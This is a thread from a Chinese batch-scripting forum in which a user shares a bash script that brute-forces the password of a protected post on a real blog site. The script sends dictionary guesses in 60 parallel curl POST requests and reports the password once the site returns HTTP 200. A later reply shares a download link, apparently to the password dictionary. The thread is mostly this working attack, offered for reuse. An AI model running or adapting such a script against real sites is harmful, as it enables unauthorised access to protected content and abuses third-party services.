[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
写了个小脚本

TOP

本帖最后由 lxzzr 于 2016-6-15 16:25 编辑

回复 6# 523066680
是的,就是楼主那个,我用的是用bash批量提交curl
  1. #!/bin/bash
  2. trap Cleanup SIGINT SIGTERM
  3. # 字典路径
  4. DictionaryPath="/root/.passwd/PASSWD01"
  5. # 读取字典文件到数组
  6. arrayW=(`cat $DictionaryPath`)
  7. # 最大任务量,数组
  8. Limit=${#arrayW[*]}
  9. # 并发的进程数
  10. Threads=60
  11. echo ""
  12. echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"
  13. echo ""
  14.    
  15. function Cleanup()
  16. {
  17.     # 清理后台还在运行的任务
  18.     for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`
  19.     do
  20.         kill %$i
  21.     done
  22.    
  23.     sleep 1
  24.     echo -e "\n\nExit ...\n"
  25.     exit
  26. }
  27. function Crack()
  28. {
  29.     URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"
  30.     result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')
  31.     if [ "$result" == "200" ]; then
  32.         printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"
  33.         killall ${0##*/}
  34.     fi
  35. }
  36. # 进程ID数组
  37. arrayP=()
  38. m=0
  39. while (( m < Limit ))
  40. do
  41. for ((n=0; n < Threads; n++))
  42. do
  43. if [ $m -gt $Limit ]; then
  44. break;
  45. fi
  46. if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then
  47.         # 处理进度百分比
  48.                         progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')
  49.             
  50.                         printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."
  51. Crack "${arrayW[m]}" &
  52. arrayP[n]=$!
  53.     m=$((m+1))
  54. fi
  55. done
  56. sleep 0.5
  57. done
  58. wait
  59. printf "\n\n"
  60. exit
复制代码
1

评分人数

TOP

回复 9# codegay

哈哈,就是一密码字典

TOP

回复 11# codegay


    http://pan.baidu.com/s/1pL8G8MB
1

评分人数

TOP

返回列表